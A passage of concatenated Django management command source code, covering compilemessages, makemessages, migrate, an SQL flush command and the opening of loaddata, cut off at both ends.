            locale_dirs = filter(os.path.isdir, glob.glob('%s/*' % basedir))
            all_locales.extend(map(os.path.basename, locale_dirs))

        # Account for excluded locales
        locales = locale or all_locales
        locales = set(locales) - set(exclude)

        for basedir in basedirs:
            if locales:
                dirs = [os.path.join(basedir, l, 'LC_MESSAGES') for l in locales]
            else:
                dirs = [basedir]
            locations = []
            for ldir in dirs:
                for dirpath, dirnames, filenames in os.walk(ldir):
                    locations.extend((dirpath, f) for f in filenames if f.endswith('.po'))
            if locations:
                self.compile_messages(locations)

    def compile_messages(self, locations):
        """
        Locations is a list of tuples: [(directory, file), ...]
        """
        for i, (dirpath, f) in enumerate(locations):
            if self.verbosity > 0:
                self.stdout.write('processing file %s in %s\n' % (f, dirpath))
            po_path = os.path.join(dirpath, f)
            if has_bom(po_path):
                raise CommandError("The %s file has a BOM (Byte Order Mark). "
                                   "Django only supports .po files encoded in "
                                   "UTF-8 and without any BOM." % po_path)
            base_path = os.path.splitext(po_path)[0]

            # Check writability on first location
            if i == 0 and not is_writable(npath(base_path + '.mo')):
                self.stderr.write("The po files under %s are in a seemingly not writable location. "
                                  "mo files will not be updated/created." % dirpath)
                return

            args = [self.program] + self.program_options + [
                '-o', npath(base_path + '.mo'), npath(base_path + '.po')
            ]
            output, errors, status = popen_wrapper(args)
            if status:
                if errors:
                    msg = "Execution of %s failed: %s" % (self.program, errors)
                else:
                    msg = "Execution of %s failed" % self.program
                raise CommandError(msg)






from __future__ import unicode_literals

import fnmatch
import glob
import io
import os
import re
import sys
from functools import total_ordering
from itertools import dropwhile

import django
from django.conf import settings
from django.core.files.temp import NamedTemporaryFile
from django.core.management.base import BaseCommand, CommandError
from django.core.management.utils import (
    find_command, handle_extensions, popen_wrapper,
)
from django.utils._os import upath
from django.utils.encoding import DEFAULT_LOCALE_ENCODING, force_str
from django.utils.functional import cached_property
from django.utils.jslex import prepare_js_for_gettext
from django.utils.text import get_text_list
from django.utils.translation import templatize

plural_forms_re = re.compile(r'^(?P<value>"Plural-Forms.+?\\n")\s*$', re.MULTILINE | re.DOTALL)
STATUS_OK = 0
NO_LOCALE_DIR = object()


def check_programs(*programs):
    for program in programs:
        if find_command(program) is None:
            raise CommandError(
                "Can't find %s. Make sure you have GNU gettext tools 0.15 or "
                "newer installed." % program
            )


@total_ordering
class TranslatableFile(object):
    def __init__(self, dirpath, file_name, locale_dir):
        self.file = file_name
        self.dirpath = dirpath
        self.locale_dir = locale_dir

    def __repr__(self):
        return "<TranslatableFile: %s>" % os.sep.join([self.dirpath, self.file])

    def __eq__(self, other):
        return self.path == other.path

    def __lt__(self, other):
        return self.path < other.path

    @property
    def path(self):
        return os.path.join(self.dirpath, self.file)


class BuildFile(object):
    """
    Represents the state of a translatable file during the build process.
    """
    def __init__(self, command, domain, translatable):
        self.command = command
        self.domain = domain
        self.translatable = translatable

    @cached_property
    def is_templatized(self):
        if self.domain == 'djangojs':
            return self.command.gettext_version < (0, 18, 3)
        elif self.domain == 'django':
            file_ext = os.path.splitext(self.translatable.file)[1]
            return file_ext != '.py'
        return False

    @cached_property
    def path(self):
        return self.translatable.path

    @cached_property
    def work_path(self):
        """
        Path to a file which is being fed into GNU gettext pipeline. This may
        be either a translatable or its preprocessed version.
        """
        if not self.is_templatized:
            return self.path
        extension = {
            'djangojs': 'c',
            'django': 'py',
        }.get(self.domain)
        filename = '%s.%s' % (self.translatable.file, extension)
        return os.path.join(self.translatable.dirpath, filename)

    def preprocess(self):
        """
        Preprocess (if necessary) a translatable file before passing it to
        xgettext GNU gettext utility.
        """
        if not self.is_templatized:
            return

        with io.open(self.path, 'r', encoding=settings.FILE_CHARSET) as fp:
            src_data = fp.read()

        if self.domain == 'djangojs':
            content = prepare_js_for_gettext(src_data)
        elif self.domain == 'django':
            content = templatize(src_data, self.path[2:])

        with io.open(self.work_path, 'w', encoding='utf-8') as fp:
            fp.write(content)

    def postprocess_messages(self, msgs):
        """
        Postprocess messages generated by xgettext GNU gettext utility.

        Transform paths as if these messages were generated from original
        translatable files rather than from preprocessed versions.
        """
        if not self.is_templatized:
            return msgs

        # Remove '.py' suffix
        if os.name == 'nt':
            # Preserve '.\' prefix on Windows to respect gettext behavior
            old_path = self.work_path
            new_path = self.path
        else:
            old_path = self.work_path[2:]
            new_path = self.path[2:]

        return re.sub(
            r'^(#: .*)(' + re.escape(old_path) + r')',
            lambda match: match.group().replace(old_path, new_path),
            msgs,
            flags=re.MULTILINE
        )

    def cleanup(self):
        """
        Remove a preprocessed copy of a translatable file (if any).
        """
        if self.is_templatized:
            # This check is needed for the case of a symlinked file and its
            # source being processed inside a single group (locale dir);
            # removing either of those two removes both.
            if os.path.exists(self.work_path):
                os.unlink(self.work_path)


def normalize_eols(raw_contents):
    """
    Take a block of raw text that will be passed through str.splitlines() to
    get universal newlines treatment.

    Return the resulting block of text with normalized `\n` EOL sequences ready
    to be written to disk using current platform's native EOLs.
    """
    lines_list = raw_contents.splitlines()
    # Ensure last line has its EOL
    if lines_list and lines_list[-1]:
        lines_list.append('')
    return '\n'.join(lines_list)


def write_pot_file(potfile, msgs):
    """
    Write the :param potfile: POT file with the :param msgs: contents,
    previously making sure its format is valid.
    """
    pot_lines = msgs.splitlines()
    if os.path.exists(potfile):
        # Strip the header
        lines = dropwhile(len, pot_lines)
    else:
        lines = []
        found, header_read = False, False
        for line in pot_lines:
            if not found and not header_read:
                found = True
                line = line.replace('charset=CHARSET', 'charset=UTF-8')
            if not line and not found:
                header_read = True
            lines.append(line)
    msgs = '\n'.join(lines)
    with io.open(potfile, 'a', encoding='utf-8') as fp:
        fp.write(msgs)


class Command(BaseCommand):
    help = (
        "Runs over the entire source tree of the current directory and "
        "pulls out all strings marked for translation. It creates (or updates) a message "
        "file in the conf/locale (in the django tree) or locale (for projects and "
        "applications) directory.\n\nYou must run this command with one of either the "
        "--locale, --exclude, or --all options."
    )

    translatable_file_class = TranslatableFile
    build_file_class = BuildFile

    requires_system_checks = False
    leave_locale_alone = True

    msgmerge_options = ['-q', '--previous']
    msguniq_options = ['--to-code=utf-8']
    msgattrib_options = ['--no-obsolete']
    xgettext_options = ['--from-code=UTF-8', '--add-comments=Translators']

    def add_arguments(self, parser):
        parser.add_argument(
            '--locale', '-l', default=[], dest='locale', action='append',
            help='Creates or updates the message files for the given locale(s) (e.g. pt_BR). '
                 'Can be used multiple times.',
        )
        parser.add_argument(
            '--exclude', '-x', default=[], dest='exclude', action='append',
            help='Locales to exclude. Default is none. Can be used multiple times.',
        )
        parser.add_argument(
            '--domain', '-d', default='django', dest='domain',
            help='The domain of the message files (default: "django").',
        )
        parser.add_argument(
            '--all', '-a', action='store_true', dest='all', default=False,
            help='Updates the message files for all existing locales.',
        )
        parser.add_argument(
            '--extension', '-e', dest='extensions', action='append',
            help='The file extension(s) to examine (default: "html,txt,py", or "js" '
                 'if the domain is "djangojs"). Separate multiple extensions with '
                 'commas, or use -e multiple times.',
        )
        parser.add_argument(
            '--symlinks', '-s', action='store_true', dest='symlinks', default=False,
            help='Follows symlinks to directories when examining source code '
                 'and templates for translation strings.',
        )
        parser.add_argument(
            '--ignore', '-i', action='append', dest='ignore_patterns',
            default=[], metavar='PATTERN',
            help='Ignore files or directories matching this glob-style pattern. '
                 'Use multiple times to ignore more.',
        )
        parser.add_argument(
            '--no-default-ignore', action='store_false', dest='use_default_ignore_patterns',
            default=True, help="Don't ignore the common glob-style patterns 'CVS', '.*', '*~' and '*.pyc'.",
        )
        parser.add_argument(
            '--no-wrap', action='store_true', dest='no_wrap',
            default=False, help="Don't break long message lines into several lines.",
        )
        parser.add_argument(
            '--no-location', action='store_true', dest='no_location',
            default=False, help="Don't write '#: filename:line' lines.",
        )
        parser.add_argument(
            '--no-obsolete', action='store_true', dest='no_obsolete',
            default=False, help="Remove obsolete message strings.",
        )
        parser.add_argument(
            '--keep-pot', action='store_true', dest='keep_pot',
            default=False, help="Keep .pot file after making messages. Useful when debugging.",
        )

    def handle(self, *args, **options):
        locale = options['locale']
        exclude = options['exclude']
        self.domain = options['domain']
        self.verbosity = options['verbosity']
        process_all = options['all']
        extensions = options['extensions']
        self.symlinks = options['symlinks']

        ignore_patterns = options['ignore_patterns']
        if options['use_default_ignore_patterns']:
            ignore_patterns += ['CVS', '.*', '*~', '*.pyc']
        self.ignore_patterns = list(set(ignore_patterns))

        # Avoid messing with mutable class variables
        if options['no_wrap']:
            self.msgmerge_options = self.msgmerge_options[:] + ['--no-wrap']
            self.msguniq_options = self.msguniq_options[:] + ['--no-wrap']
            self.msgattrib_options = self.msgattrib_options[:] + ['--no-wrap']
            self.xgettext_options = self.xgettext_options[:] + ['--no-wrap']
        if options['no_location']:
            self.msgmerge_options = self.msgmerge_options[:] + ['--no-location']
            self.msguniq_options = self.msguniq_options[:] + ['--no-location']
            self.msgattrib_options = self.msgattrib_options[:] + ['--no-location']
            self.xgettext_options = self.xgettext_options[:] + ['--no-location']

        self.no_obsolete = options['no_obsolete']
        self.keep_pot = options['keep_pot']

        if self.domain not in ('django', 'djangojs'):
            raise CommandError("currently makemessages only supports domains "
                               "'django' and 'djangojs'")
        if self.domain == 'djangojs':
            exts = extensions if extensions else ['js']
        else:
            exts = extensions if extensions else ['html', 'txt', 'py']
        self.extensions = handle_extensions(exts)

        if (locale is None and not exclude and not process_all) or self.domain is None:
            raise CommandError(
                "Type '%s help %s' for usage information."
                % (os.path.basename(sys.argv[0]), sys.argv[1])
            )

        if self.verbosity > 1:
            self.stdout.write(
                'examining files with the extensions: %s\n'
                % get_text_list(list(self.extensions), 'and')
            )

        self.invoked_for_django = False
        self.locale_paths = []
        self.default_locale_path = None
        if os.path.isdir(os.path.join('conf', 'locale')):
            self.locale_paths = [os.path.abspath(os.path.join('conf', 'locale'))]
            self.default_locale_path = self.locale_paths[0]
            self.invoked_for_django = True
        else:
            self.locale_paths.extend(settings.LOCALE_PATHS)
            # Allow to run makemessages inside an app dir
            if os.path.isdir('locale'):
                self.locale_paths.append(os.path.abspath('locale'))
            if self.locale_paths:
                self.default_locale_path = self.locale_paths[0]
                if not os.path.exists(self.default_locale_path):
                    os.makedirs(self.default_locale_path)

        # Build locale list
        locale_dirs = filter(os.path.isdir, glob.glob('%s/*' % self.default_locale_path))
        all_locales = map(os.path.basename, locale_dirs)

        # Account for excluded locales
        if process_all:
            locales = all_locales
        else:
            locales = locale or all_locales
            locales = set(locales) - set(exclude)

        if locales:
            check_programs('msguniq', 'msgmerge', 'msgattrib')

        check_programs('xgettext')

        try:
            potfiles = self.build_potfiles()

            # Build po files for each selected locale
            for locale in locales:
                if self.verbosity > 0:
                    self.stdout.write("processing locale %s\n" % locale)
                for potfile in potfiles:
                    self.write_po_file(potfile, locale)
        finally:
            if not self.keep_pot:
                self.remove_potfiles()

    @cached_property
    def gettext_version(self):
        # Gettext tools will output system-encoded bytestrings instead of UTF-8,
        # when looking up the version. It's especially a problem on Windows.
        out, err, status = popen_wrapper(
            ['xgettext', '--version'],
            stdout_encoding=DEFAULT_LOCALE_ENCODING,
        )
        m = re.search(r'(\d+)\.(\d+)\.?(\d+)?', out)
        if m:
            return tuple(int(d) for d in m.groups() if d is not None)
        else:
            raise CommandError("Unable to get gettext version. Is it installed?")

    def build_potfiles(self):
        """
        Build pot files and apply msguniq to them.
        """
        file_list = self.find_files(".")
        self.remove_potfiles()
        self.process_files(file_list)
        potfiles = []
        for path in self.locale_paths:
            potfile = os.path.join(path, '%s.pot' % str(self.domain))
            if not os.path.exists(potfile):
                continue
            args = ['msguniq'] + self.msguniq_options + [potfile]
            msgs, errors, status = popen_wrapper(args)
            if errors:
                if status != STATUS_OK:
                    raise CommandError(
                        "errors happened while running msguniq\n%s" % errors)
                elif self.verbosity > 0:
                    self.stdout.write(errors)
            msgs = normalize_eols(msgs)
            with io.open(potfile, 'w', encoding='utf-8') as fp:
                fp.write(msgs)
            potfiles.append(potfile)
        return potfiles

    def remove_potfiles(self):
        for path in self.locale_paths:
            pot_path = os.path.join(path, '%s.pot' % str(self.domain))
            if os.path.exists(pot_path):
                os.unlink(pot_path)

    def find_files(self, root):
        """
        Helper method to get all files in the given root. Also check that there
        is a matching locale dir for each file.
        """

        def is_ignored(path, ignore_patterns):
            """
            Check if the given path should be ignored or not.
            """
            filename = os.path.basename(path)

            def ignore(pattern):
                return fnmatch.fnmatchcase(filename, pattern) or fnmatch.fnmatchcase(path, pattern)

            return any(ignore(pattern) for pattern in ignore_patterns)

        ignore_patterns = [os.path.normcase(p) for p in self.ignore_patterns]
        dir_suffixes = {'%s*' % path_sep for path_sep in {'/', os.sep}}
        norm_patterns = []
        for p in ignore_patterns:
            for dir_suffix in dir_suffixes:
                if p.endswith(dir_suffix):
                    norm_patterns.append(p[:-len(dir_suffix)])
                    break
            else:
                norm_patterns.append(p)

        all_files = []
        ignored_roots = [os.path.normpath(p) for p in (settings.MEDIA_ROOT, settings.STATIC_ROOT) if p]
        for dirpath, dirnames, filenames in os.walk(root, topdown=True, followlinks=self.symlinks):
            for dirname in dirnames[:]:
                if (is_ignored(os.path.normpath(os.path.join(dirpath, dirname)), norm_patterns) or
                        os.path.join(os.path.abspath(dirpath), dirname) in ignored_roots):
                    dirnames.remove(dirname)
                    if self.verbosity > 1:
                        self.stdout.write('ignoring directory %s\n' % dirname)
                elif dirname == 'locale':
                    dirnames.remove(dirname)
                    self.locale_paths.insert(0, os.path.join(os.path.abspath(dirpath), dirname))
            for filename in filenames:
                file_path = os.path.normpath(os.path.join(dirpath, filename))
                file_ext = os.path.splitext(filename)[1]
                if file_ext not in self.extensions or is_ignored(file_path, self.ignore_patterns):
                    if self.verbosity > 1:
                        self.stdout.write('ignoring file %s in %s\n' % (filename, dirpath))
                else:
                    locale_dir = None
                    for path in self.locale_paths:
                        if os.path.abspath(dirpath).startswith(os.path.dirname(path)):
                            locale_dir = path
                            break
                    if not locale_dir:
                        locale_dir = self.default_locale_path
                    if not locale_dir:
                        locale_dir = NO_LOCALE_DIR
                    all_files.append(self.translatable_file_class(dirpath, filename, locale_dir))
        return sorted(all_files)

    def process_files(self, file_list):
        """
        Group translatable files by locale directory and run pot file build
        process for each group.
        """
        file_groups = {}
        for translatable in file_list:
            file_group = file_groups.setdefault(translatable.locale_dir, [])
            file_group.append(translatable)
        for locale_dir, files in file_groups.items():
            self.process_locale_dir(locale_dir, files)

    def process_locale_dir(self, locale_dir, files):
        """
        Extract translatable literals from the specified files, creating or
        updating the POT file for a given locale directory.

        Uses the xgettext GNU gettext utility.
        """
        build_files = []
        for translatable in files:
            if self.verbosity > 1:
                self.stdout.write('processing file %s in %s\n' % (
                    translatable.file, translatable.dirpath
                ))
            if self.domain not in ('djangojs', 'django'):
                continue
            build_file = self.build_file_class(self, self.domain, translatable)
            try:
                build_file.preprocess()
            except UnicodeDecodeError as e:
                self.stdout.write(
                    'UnicodeDecodeError: skipped file %s in %s (reason: %s)' % (
                        translatable.file, translatable.dirpath, e,
                    )
                )
                continue
            build_files.append(build_file)

        if self.domain == 'djangojs':
            is_templatized = build_file.is_templatized
            args = [
                'xgettext',
                '-d', self.domain,
                '--language=%s' % ('C' if is_templatized else 'JavaScript',),
                '--keyword=gettext_noop',
                '--keyword=gettext_lazy',
                '--keyword=ngettext_lazy:1,2',
                '--keyword=pgettext:1c,2',
                '--keyword=npgettext:1c,2,3',
                '--output=-',
            ]
        elif self.domain == 'django':
            args = [
                'xgettext',
                '-d', self.domain,
                '--language=Python',
                '--keyword=gettext_noop',
                '--keyword=gettext_lazy',
                '--keyword=ngettext_lazy:1,2',
                '--keyword=ugettext_noop',
                '--keyword=ugettext_lazy',
                '--keyword=ungettext_lazy:1,2',
                '--keyword=pgettext:1c,2',
                '--keyword=npgettext:1c,2,3',
                '--keyword=pgettext_lazy:1c,2',
                '--keyword=npgettext_lazy:1c,2,3',
                '--output=-',
            ]
        else:
            return

        input_files = [bf.work_path for bf in build_files]
        with NamedTemporaryFile(mode='w+') as input_files_list:
            input_files_list.write(force_str('\n'.join(input_files), encoding=DEFAULT_LOCALE_ENCODING))
            input_files_list.flush()
            args.extend(['--files-from', input_files_list.name])
            args.extend(self.xgettext_options)
            msgs, errors, status = popen_wrapper(args)

        if errors:
            if status != STATUS_OK:
                for build_file in build_files:
                    build_file.cleanup()
                raise CommandError(
                    'errors happened while running xgettext on %s\n%s' %
                    ('\n'.join(input_files), errors)
                )
            elif self.verbosity > 0:
                # Print warnings
                self.stdout.write(errors)

        if msgs:
            if locale_dir is NO_LOCALE_DIR:
                file_path = os.path.normpath(build_files[0].path)
                raise CommandError(
                    'Unable to find a locale path to store translations for '
                    'file %s' % file_path
                )
            for build_file in build_files:
                msgs = build_file.postprocess_messages(msgs)
            potfile = os.path.join(locale_dir, '%s.pot' % str(self.domain))
            write_pot_file(potfile, msgs)

        for build_file in build_files:
            build_file.cleanup()

    def write_po_file(self, potfile, locale):
        """
        Creates or updates the PO file for self.domain and :param locale:.
        Uses contents of the existing :param potfile:.

        Uses msgmerge, and msgattrib GNU gettext utilities.
        """
        basedir = os.path.join(os.path.dirname(potfile), locale, 'LC_MESSAGES')
        if not os.path.isdir(basedir):
            os.makedirs(basedir)
        pofile = os.path.join(basedir, '%s.po' % str(self.domain))

        if os.path.exists(pofile):
            args = ['msgmerge'] + self.msgmerge_options + [pofile, potfile]
            msgs, errors, status = popen_wrapper(args)
            if errors:
                if status != STATUS_OK:
                    raise CommandError(
                        "errors happened while running msgmerge\n%s" % errors)
                elif self.verbosity > 0:
                    self.stdout.write(errors)
        else:
            with io.open(potfile, 'r', encoding='utf-8') as fp:
                msgs = fp.read()
            if not self.invoked_for_django:
                msgs = self.copy_plural_forms(msgs, locale)
        msgs = normalize_eols(msgs)
        msgs = msgs.replace(
            "#. #-#-#-#-#  %s.pot (PACKAGE VERSION)  #-#-#-#-#\n" % self.domain, "")
        with io.open(pofile, 'w', encoding='utf-8') as fp:
            fp.write(msgs)

        if self.no_obsolete:
            args = ['msgattrib'] + self.msgattrib_options + ['-o', pofile, pofile]
            msgs, errors, status = popen_wrapper(args)
            if errors:
                if status != STATUS_OK:
                    raise CommandError(
                        "errors happened while running msgattrib\n%s" % errors)
                elif self.verbosity > 0:
                    self.stdout.write(errors)

    def copy_plural_forms(self, msgs, locale):
        """
        Copies plural forms header contents from a Django catalog of locale to
        the msgs string, inserting it at the right place. msgs should be the
        contents of a newly created .po file.
        """
        django_dir = os.path.normpath(os.path.join(os.path.dirname(upath(django.__file__))))
        if self.domain == 'djangojs':
            domains = ('djangojs', 'django')
        else:
            domains = ('django',)
        for domain in domains:
            django_po = os.path.join(django_dir, 'conf', 'locale', locale, 'LC_MESSAGES', '%s.po' % domain)
            if os.path.exists(django_po):
                with io.open(django_po, 'r', encoding='utf-8') as fp:
                    m = plural_forms_re.search(fp.read())
                if m:
                    plural_form_line = force_str(m.group('value'))
                    if self.verbosity > 1:
                        self.stdout.write("copying plural forms: %s\n" % plural_form_line)
                    lines = []
                    found = False
                    for line in msgs.splitlines():
                        if not found and (not line or plural_forms_re.search(line)):
                            line = plural_form_line
                            found = True
                        lines.append(line)
                    msgs = '\n'.join(lines)
                    break
        return msgs






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import time
from collections import OrderedDict
from importlib import import_module

from django.apps import apps
from django.core.checks import Tags, run_checks
from django.core.management.base import BaseCommand, CommandError
from django.core.management.sql import (
    emit_post_migrate_signal, emit_pre_migrate_signal,
)
from django.db import DEFAULT_DB_ALIAS, connections, router, transaction
from django.db.migrations.autodetector import MigrationAutodetector
from django.db.migrations.executor import MigrationExecutor
from django.db.migrations.loader import AmbiguityError
from django.db.migrations.state import ModelState, ProjectState
from django.utils.module_loading import module_has_submodule


class Command(BaseCommand):
    help = "Updates database schema. Manages both apps with migrations and those without."

    def add_arguments(self, parser):
        parser.add_argument(
            'app_label', nargs='?',
            help='App label of an application to synchronize the state.',
        )
        parser.add_argument(
            'migration_name', nargs='?',
            help='Database state will be brought to the state after that '
                 'migration. Use the name "zero" to unapply all migrations.',
        )
        parser.add_argument(
            '--noinput', '--no-input',
            action='store_false', dest='interactive', default=True,
            help='Tells Django to NOT prompt the user for input of any kind.',
        )
        parser.add_argument(
            '--database', action='store', dest='database',
            default=DEFAULT_DB_ALIAS,
            help='Nominates a database to synchronize. Defaults to the "default" database.',
        )
        parser.add_argument(
            '--fake', action='store_true', dest='fake', default=False,
            help='Mark migrations as run without actually running them.',
        )
        parser.add_argument(
            '--fake-initial', action='store_true', dest='fake_initial', default=False,
            help='Detect if tables already exist and fake-apply initial migrations if so. Make sure '
                 'that the current database schema matches your initial migration before using this '
                 'flag. Django will only check for an existing table name.',
        )
        parser.add_argument(
            '--run-syncdb', action='store_true', dest='run_syncdb',
            help='Creates tables for apps without migrations.',
        )

    def _run_checks(self, **kwargs):
        issues = run_checks(tags=[Tags.database])
        issues.extend(super(Command, self)._run_checks(**kwargs))
        return issues

    def handle(self, *args, **options):

        self.verbosity = options['verbosity']
        self.interactive = options['interactive']

        # Import the 'management' module within each installed app, to register
        # dispatcher events.
        for app_config in apps.get_app_configs():
            if module_has_submodule(app_config.module, "management"):
                import_module('.management', app_config.name)

        # Get the database we're operating from
        db = options['database']
        connection = connections[db]

        # Hook for backends needing any database preparation
        connection.prepare_database()
        # Work out which apps have migrations and which do not
        executor = MigrationExecutor(connection, self.migration_progress_callback)

        # Raise an error if any migrations are applied before their dependencies.
        executor.loader.check_consistent_history(connection)

        # Before anything else, see if there's conflicting apps and drop out
        # hard if there are any
        conflicts = executor.loader.detect_conflicts()
        if conflicts:
            name_str = "; ".join(
                "%s in %s" % (", ".join(names), app)
                for app, names in conflicts.items()
            )
            raise CommandError(
                "Conflicting migrations detected; multiple leaf nodes in the "
                "migration graph: (%s).\nTo fix them run "
                "'python manage.py makemigrations --merge'" % name_str
            )

        # If they supplied command line arguments, work out what they mean.
        target_app_labels_only = True
        if options['app_label'] and options['migration_name']:
            app_label, migration_name = options['app_label'], options['migration_name']
            if app_label not in executor.loader.migrated_apps:
                raise CommandError(
                    "App '%s' does not have migrations." % app_label
                )
            if migration_name == "zero":
                targets = [(app_label, None)]
            else:
                try:
                    migration = executor.loader.get_migration_by_prefix(app_label, migration_name)
                except AmbiguityError:
                    raise CommandError(
                        "More than one migration matches '%s' in app '%s'. "
                        "Please be more specific." %
                        (migration_name, app_label)
                    )
                except KeyError:
                    raise CommandError("Cannot find a migration matching '%s' from app '%s'." % (
                        migration_name, app_label))
                targets = [(app_label, migration.name)]
            target_app_labels_only = False
        elif options['app_label']:
            app_label = options['app_label']
            if app_label not in executor.loader.migrated_apps:
                raise CommandError(
                    "App '%s' does not have migrations." % app_label
                )
            targets = [key for key in executor.loader.graph.leaf_nodes() if key[0] == app_label]
        else:
            targets = executor.loader.graph.leaf_nodes()

        plan = executor.migration_plan(targets)
        run_syncdb = options['run_syncdb'] and executor.loader.unmigrated_apps

        # Print some useful info
        if self.verbosity >= 1:
            self.stdout.write(self.style.MIGRATE_HEADING("Operations to perform:"))
            if run_syncdb:
                self.stdout.write(
                    self.style.MIGRATE_LABEL("  Synchronize unmigrated apps: ") +
                    (", ".join(sorted(executor.loader.unmigrated_apps)))
                )
            if target_app_labels_only:
                self.stdout.write(
                    self.style.MIGRATE_LABEL("  Apply all migrations: ") +
                    (", ".join(sorted(set(a for a, n in targets))) or "(none)")
                )
            else:
                if targets[0][1] is None:
                    self.stdout.write(self.style.MIGRATE_LABEL(
                        "  Unapply all migrations: ") + "%s" % (targets[0][0], )
                    )
                else:
                    self.stdout.write(self.style.MIGRATE_LABEL(
                        "  Target specific migration: ") + "%s, from %s"
                        % (targets[0][1], targets[0][0])
                    )

        pre_migrate_apps = executor._create_project_state().apps
        emit_pre_migrate_signal(
            self.verbosity, self.interactive, connection.alias, apps=pre_migrate_apps, plan=plan,
        )

        # Run the syncdb phase.
        if run_syncdb:
            if self.verbosity >= 1:
                self.stdout.write(self.style.MIGRATE_HEADING("Synchronizing apps without migrations:"))
            self.sync_apps(connection, executor.loader.unmigrated_apps)

        # Migrate!
        if self.verbosity >= 1:
            self.stdout.write(self.style.MIGRATE_HEADING("Running migrations:"))
        if not plan:
            executor.check_replacements()
            if self.verbosity >= 1:
                self.stdout.write("  No migrations to apply.")
                # If there's changes that aren't in migrations yet, tell them how to fix it.
                autodetector = MigrationAutodetector(
                    executor.loader.project_state(),
                    ProjectState.from_apps(apps),
                )
                changes = autodetector.changes(graph=executor.loader.graph)
                if changes:
                    self.stdout.write(self.style.NOTICE(
                        "  Your models have changes that are not yet reflected "
                        "in a migration, and so won't be applied."
                    ))
                    self.stdout.write(self.style.NOTICE(
                        "  Run 'manage.py makemigrations' to make new "
                        "migrations, and then re-run 'manage.py migrate' to "
                        "apply them."
                    ))
            post_migrate_apps = pre_migrate_apps
        else:
            fake = options['fake']
            fake_initial = options['fake_initial']
            post_migrate_project_state = executor.migrate(
                targets, plan, fake=fake, fake_initial=fake_initial
            )
            post_migrate_apps = post_migrate_project_state.apps

        # Re-render models of real apps to include relationships now that
        # we've got a final state. This wouldn't be necessary if real apps
        # models were rendered with relationships in the first place.
        with post_migrate_apps.bulk_update():
            model_keys = []
            for model_state in post_migrate_apps.real_models:
                model_key = model_state.app_label, model_state.name_lower
                model_keys.append(model_key)
                post_migrate_apps.unregister_model(*model_key)
        post_migrate_apps.render_multiple([
            ModelState.from_model(apps.get_model(*model)) for model in model_keys
        ])

        # Send the post_migrate signal, so individual apps can do whatever they need
        # to do at this point.
        emit_post_migrate_signal(
            self.verbosity, self.interactive, connection.alias, apps=post_migrate_apps, plan=plan,
        )

    def migration_progress_callback(self, action, migration=None, fake=False):
        if self.verbosity >= 1:
            compute_time = self.verbosity > 1
            if action == "apply_start":
                if compute_time:
                    self.start = time.time()
                self.stdout.write("  Applying %s..." % migration, ending="")
                self.stdout.flush()
            elif action == "apply_success":
                elapsed = " (%.3fs)" % (time.time() - self.start) if compute_time else ""
                if fake:
                    self.stdout.write(self.style.SUCCESS(" FAKED" + elapsed))
                else:
                    self.stdout.write(self.style.SUCCESS(" OK" + elapsed))
            elif action == "unapply_start":
                if compute_time:
                    self.start = time.time()
                self.stdout.write("  Unapplying %s..." % migration, ending="")
                self.stdout.flush()
            elif action == "unapply_success":
                elapsed = " (%.3fs)" % (time.time() - self.start) if compute_time else ""
                if fake:
                    self.stdout.write(self.style.SUCCESS(" FAKED" + elapsed))
                else:
                    self.stdout.write(self.style.SUCCESS(" OK" + elapsed))
            elif action == "render_start":
                if compute_time:
                    self.start = time.time()
                self.stdout.write("  Rendering model states...", ending="")
                self.stdout.flush()
            elif action == "render_success":
                elapsed = " (%.3fs)" % (time.time() - self.start) if compute_time else ""
                self.stdout.write(self.style.SUCCESS(" DONE" + elapsed))

    def sync_apps(self, connection, app_labels):
        "Runs the old syncdb-style operation on a list of app_labels."
        cursor = connection.cursor()

        try:
            # Get a list of already installed *models* so that references work right.
            tables = connection.introspection.table_names(cursor)
            created_models = set()

            # Build the manifest of apps and models that are to be synchronized
            all_models = [
                (app_config.label,
                    router.get_migratable_models(app_config, connection.alias, include_auto_created=False))
                for app_config in apps.get_app_configs()
                if app_config.models_module is not None and app_config.label in app_labels
            ]

            def model_installed(model):
                opts = model._meta
                converter = connection.introspection.table_name_converter
                # Note that if a model is unmanaged we short-circuit and never try to install it
                return not (
                    (converter(opts.db_table) in tables) or
                    (opts.auto_created and converter(opts.auto_created._meta.db_table) in tables)
                )

            manifest = OrderedDict(
                (app_name, list(filter(model_installed, model_list)))
                for app_name, model_list in all_models
            )

            # Create the tables for each model
            if self.verbosity >= 1:
                self.stdout.write("  Creating tables...\n")
            with transaction.atomic(using=connection.alias, savepoint=connection.features.can_rollback_ddl):
                deferred_sql = []
                for app_name, model_list in manifest.items():
                    for model in model_list:
                        if not model._meta.can_migrate(connection):
                            continue
                        if self.verbosity >= 3:
                            self.stdout.write(
                                "    Processing %s.%s model\n" % (app_name, model._meta.object_name)
                            )
                        with connection.schema_editor() as editor:
                            if self.verbosity >= 1:
                                self.stdout.write("    Creating table %s\n" % model._meta.db_table)
                            editor.create_model(model)
                            deferred_sql.extend(editor.deferred_sql)
                            editor.deferred_sql = []
                        created_models.add(model)

                if self.verbosity >= 1:
                    self.stdout.write("    Running deferred SQL...\n")
                for statement in deferred_sql:
                    cursor.execute(statement)
        finally:
            cursor.close()

        return created_models






from __future__ import unicode_literals

from django.core.management.base import BaseCommand
from django.core.management.sql import sql_flush
from django.db import DEFAULT_DB_ALIAS, connections


class Command(BaseCommand):
    help = (
        "Returns a list of the SQL statements required to return all tables in "
        "the database to the state they were in just after they were installed."
    )

    output_transaction = True

    def add_arguments(self, parser):
        super(Command, self).add_arguments(parser)
        parser.add_argument(
            '--database', default=DEFAULT_DB_ALIAS,
            help='Nominates a database to print the SQL for. Defaults to the "default" database.',
        )

    def handle(self, **options):
        return '\n'.join(sql_flush(self.style, connections[options['database']], only_django=True))






from __future__ import unicode_literals

import glob
import gzip
import os
import warnings
import zipfile
from itertools import product

from django.apps import apps
from django.conf import settings
from django.core import serializers
from django.core.exceptions import ImproperlyConfigured
from django.core.management.base import BaseCommand, CommandError
from django.core.management.color import no_style
from django.core.management.utils import parse_apps_and_model_labels
from django.db import (
    DEFAULT_DB_ALIAS, DatabaseError, IntegrityError, connections, router,
    transaction,
)
from django.utils import lru_cache
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.functional import cached_property
from django.utils.glob import glob_escape

try:
    import bz2
    has_bz2 = True
except ImportError:
    has_bz2 = False


class Command(BaseCommand):
    help = 'Installs the named fixture(s) in the database.'
    missing_args_message = (
        "No database fixture specified. Please provide the path of at least "
        "one fixture in the command line."
    )

    def add_arguments(self, parser):
